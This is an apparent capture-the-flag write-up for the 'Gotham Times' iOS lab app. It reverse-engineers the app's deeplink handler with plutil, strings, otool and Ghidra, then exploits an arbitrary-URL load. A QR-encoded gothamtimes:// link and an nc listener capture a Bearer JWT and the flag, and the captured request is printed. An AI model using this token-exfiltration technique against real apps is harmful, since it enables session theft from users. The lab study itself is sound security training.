Mobile Hacking Lab – Gotham Times

Description: Welcome to the iOS Application Security Lab: Deeplink Exploitation Challenge. The challenge is built around the fictional newspaper Gotham Times, an iOS application providing users with the latest news and updates about events happening in Gotham City. This challenge focuses on the potential vulnerabilities in the deep link feature, emphasizing how attackers can exploit it to gain unauthorized access to sensitive information, particularly authentication tokens. As an attacker, your goal is to craft an exploit that can be used to steal user’s authentication token.

Gotham Times

Install an IPA file can be difficult.
So, for make it more easy, I made a YouTube video with the process using Sideloadly.
LINKhttps://www.youtube.com/watch?v=YPpo9owRKGE

NOTE: If you have problems with the keyboard and UI (buttons) when you need to hide it on a physical device, you can fix this problem by using the KeyboardTools by @CrazyMind90 found in the Sileo app store.

Once you have the app installed, let’s proceed with the challenge.
unzip the .ipa file.
Let’s examine the Info.plist file.

				
					cd Payload/Gotham\ Times.app && plutil -convert xml1 Info.plist && cat Info.plist
				
			

We can find this URL Scheme (CFBundleURLSchemes)

				
					<array>
    <dict>
        <key>CFBundleTypeRole</key>
        <string>Viewer</string>
        <key>CFBundleURLName</key>
        <string>com.mobilehackinglab.Gotham-Times</string>
        <key>CFBundleURLSchemes</key>
        <array>
            <string>gothamtimes</string>
        </array>
    </dict>
</array>
				
			

So, let’s analyze if we can found some interesting functions or some related

				
					strings "Gotham Times" | grep -iE "token|openURL|auth|gothamtimes"
				
			

Output:

				
					ySo16UIOpenURLContextC_G
JWTToken
token
Authorization
gothamtimes
v40@0:8@"WKWebView"16@"NSURLAuthenticationChallenge"24@?<v@?q@"NSURLCredential">32
v40@0:8@"WKWebView"16@"NSURLAuthenticationChallenge"24@?<v@?B>32
openURL:options:completionHandler:
webView:didReceiveAuthenticationChallenge:completionHandler:
webView:authenticationChallenge:shouldAllowDeprecatedTLS:
application:handleOpenURL:
application:openURL:sourceApplication:annotation:
application:openURL:options:
application:didRegisterForRemoteNotificationsWithDeviceToken:
applicationShouldRequestHealthAuthorization:
scene:openURLContexts:
				
			

Now, we can use otool for decompile and inspect better these functions

				
					otool -tv 'Gotham Times' | grep  -iE "token|openURL|auth|gothamtimes"
				
			

Output:

				
					_$s12Gotham_Times12saveJWTToken5tokenySS_tF:
0000000100008190	add	x0, x0, #0x370 ; literal pool for: "JWTToken"
_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF:
000000010000877c	add	x0, x0, #0x370 ; literal pool for: "JWTToken"
_$s12Gotham_Times20authenticatedRequest3url10Foundation10URLRequestVSS_tF:
0000000100009908	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
0000000100009a18	add	x0, x0, #0x3f4 ; literal pool for: "token"
0000000100009c00	add	x0, x0, #0x4d8 ; literal pool for: "Authorization"
000000010000a618	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010000ade0	add	x0, x0, #0x3f4 ; literal pool for: "token"
000000010000b914	add	x0, x0, #0x4d8 ; literal pool for: "Authorization"
000000010000ba28	add	x0, x0, #0x3f4 ; literal pool for: "token"
000000010000bdd4	add	x0, x0, #0x4eb ; literal pool for: "gothamtimes"
000000010000d554	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010000d800	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010000eca4	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010000fcbc	bl	_$s12Gotham_Times20authenticatedRequest3url10Foundation10URLRequestVSS_tF
0000000100010fd4	bl	_$s12Gotham_Times12saveJWTToken5tokenySS_tF
0000000100011414	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
00000001000115fc	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
0000000100011878	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
00000001000125c0	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
00000001000154c0	bl	_$s12Gotham_Times12saveJWTToken5tokenySS_tF
0000000100015904	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
0000000100015ba4	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
_$s12Gotham_Times13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF:
0000000100019284	bl	_$sSo16UIOpenURLContextCMa
000000010001928c	bl	_$sSo16UIOpenURLContextCSo8NSObjectCSH10ObjectiveCWl
0000000100019aa8	bl	_$sSh8IteratorVySo16UIOpenURLContextC_GWOh
_$sSo16UIOpenURLContextCMa:
_$sSo16UIOpenURLContextCSo8NSObjectCSH10ObjectiveCWl:
0000000100019b64	bl	_$sSo16UIOpenURLContextCMa
_$sSh8IteratorVySo16UIOpenURLContextC_GWOh:
_$s12Gotham_Times13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtFTo:
0000000100019dc4	bl	_$sSo16UIOpenURLContextCMa
0000000100019dcc	bl	_$sSo16UIOpenURLContextCSo8NSObjectCSH10ObjectiveCWl
0000000100019dec	bl	_$s12Gotham_Times13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF
000000010001a3d8	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010001c898	bl	_$s12Gotham_Times12saveJWTToken5tokenySS_tF
000000010001d3dc	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010001d67c	bl	_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
				
			

Now that we know better the functions names we can use Ghidra for an deep understanding of the application behavior.

Our interested class is
_TtC12Gotham_Times13SceneDelegate
Where we have the function
void _TtC12Gotham_Times13SceneDelegate::scene:openURLContexts:

				
					void _TtC12Gotham_Times13SceneDelegate::scene:openURLContexts:(ID param_1, SEL param_2, ID param_3, ID param_4)
{
    Set<undefined> openURLContexts;
  
    _objc_retain();
    _objc_retain(param_4);
    _objc_retain(param_1);
    __C::UIOpenURLContext::typeMetadataAccessor();
    __C::UIOpenURLContext::$lazy_protocol_witness_table_accessor();
    openURLContexts = (extension_Foundation)::Swift::Set::$_unconditionallyBridgeFromObjectiveC();
    Gotham_Times::SceneDelegate::scene((SceneDelegate *)param_1, (UIScene *)param_3, (Set<>)openURLContexts.unknown);
    _swift_bridgeObjectRelease(openURLContexts.unknown);
    _objc_release(param_4);
    _objc_release(param_1);
    _objc_release(param_3);
    return;
}
				
			

This call to Gotham_Times::SceneDelegate::scene

				
					Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar11);
local_250 = *(code **)(local_198 + 0x10);
iVar20 = local_168;
(*local_250)(UVar13.unknown, local_168, local_1a0);
Foundation::URL::$get_host(UVar13);
local_248 = *(code **)(local_198 + 8);
local_238 = UVar13.unknown;
local_230 = iVar20;
(*local_248)(local_178, local_1a0);
(*local_248)(local_168, local_1a0);
_swift_bridgeObjectRetain(local_230);
SVar26 = Swift::String::init("open", 4, 1);
local_228 = (char *)SVar26.bridgeObject;
local_240 = SVar26.str;
_swift_bridgeObjectRetain();
local_d0 = local_238;
local_c8 = local_230;
local_c0 = local_240;
local_b8 = local_228;

if (local_230 == 0) {
    if (local_228 != (char *)0x0) 
        goto LAB_1000195a4;
    $outlined_destroy_of_Swift.String?(&local_d0);
    local_2a4 = 1;
} else {
    $outlined_init_with_copy_of_Swift.String?(&local_d0, &local_140);
    if (local_b8 == (char *)0x0) {
        $outlined_destroy_of_Swift.String(&local_140);
LAB_1000195a4:
        $outlined_destroy_of_(Swift.String?, Swift.String?)(&local_d0);
        local_2a4 = 0;
    } else {
        local_2d0 = local_140;
        local_2b8 = local_138;
        _swift_bridgeObjectRetain();
        local_2c8 = local_c0;
        local_2b0 = &local_d0;
        local_2c0 = local_b8;
        _swift_bridgeObjectRetain();
        SVar2.bridgeObject = local_2c0;
        SVar2.str = local_2c8;
        SVar27.bridgeObject = local_2b8;
        SVar27.str = local_2d0;
        SVar28.bridgeObject = in_x5;
        SVar28.str = pcVar12;
        pcVar22 = local_2c0;
        bVar6 = Swift::String::==_infix(SVar27, SVar2, SVar28);
        local_2a8 = (dword)CONCAT71(extraout_var, bVar6);
        _swift_bridgeObjectRelease(local_2c0);
        _swift_bridgeObjectRelease(local_2b8);
        _swift_bridgeObjectRelease(local_2c0);
        _swift_bridgeObjectRelease(local_2b8);
        $outlined_destroy_of_Swift.String?(local_2b0);
        local_2a4 = local_2a8;
    }
}

local_2d4 = local_2a4;
_swift_bridgeObjectRelease(local_228);
_swift_bridgeObjectRelease(local_230);
_objc_release(local_258);
UVar13.unknown = local_188;

if ((local_2d4 & 1) != 0) {
    UVar11.unknown = local_260;
    _objc_msgSend(local_260, "URL");
    _objc_retainAutoreleasedReturnValue();
    local_2f0 = UVar11.unknown;
}
				
			

Where

  • The URL parameter is obtained from UIOpenURLContext:
				
					_objc_msgSend(local_260, "URL");
_objc_retainAutoreleasedReturnValue();
				
			
  • Then, the URL is transformed with:
				
					Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar11);
				
			
  • Finally, the complete chain is obtained with:
				
					SVar26 = Foundation::URL::get_absoluteString(UVar13);
				
			
  • You are getting the host of the URL with:
				
					Foundation::URL::$get_host(UVar13);
				
			

So, the deeplink looks like gothamtimes://open?URL=

This could lead to an Open Redirect or Arbitrary URL load into Application where we can theft data (i.e. token).

We just need create an account, login, and then, open a browser or generate a QR code with the app running, then, go to any URL like
gothamtimes://open?URL=http://192.168.1.75:8080

				
					qrencode "gothamtimes://open?url=http://192.168.1.75:8080" -o QR.png
				
			

Setup the nc

				
					nc -nlv 8080
				
			

Scan the QR code and intercept the request with burpsuite and you’ll get the flag and token (or in your nc session)

				
					GET / HTTP/1.1
Host: 192.168.1.75:8080
Connection: keep-alive
flag: FLAG{d33ply-l1nk3d(t0-w3bk1t}
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_10 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImxhdXRhcm8iLCJpYXQiOjE3MzkxNDMwNzd9.X4gJnMic930UZe3w94TCx7xzYs0mw17Fqg_AHM2F7VY
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
				
			

I hope you found it useful (:

Leave a Reply

Your email address will not be published. Required fields are marked *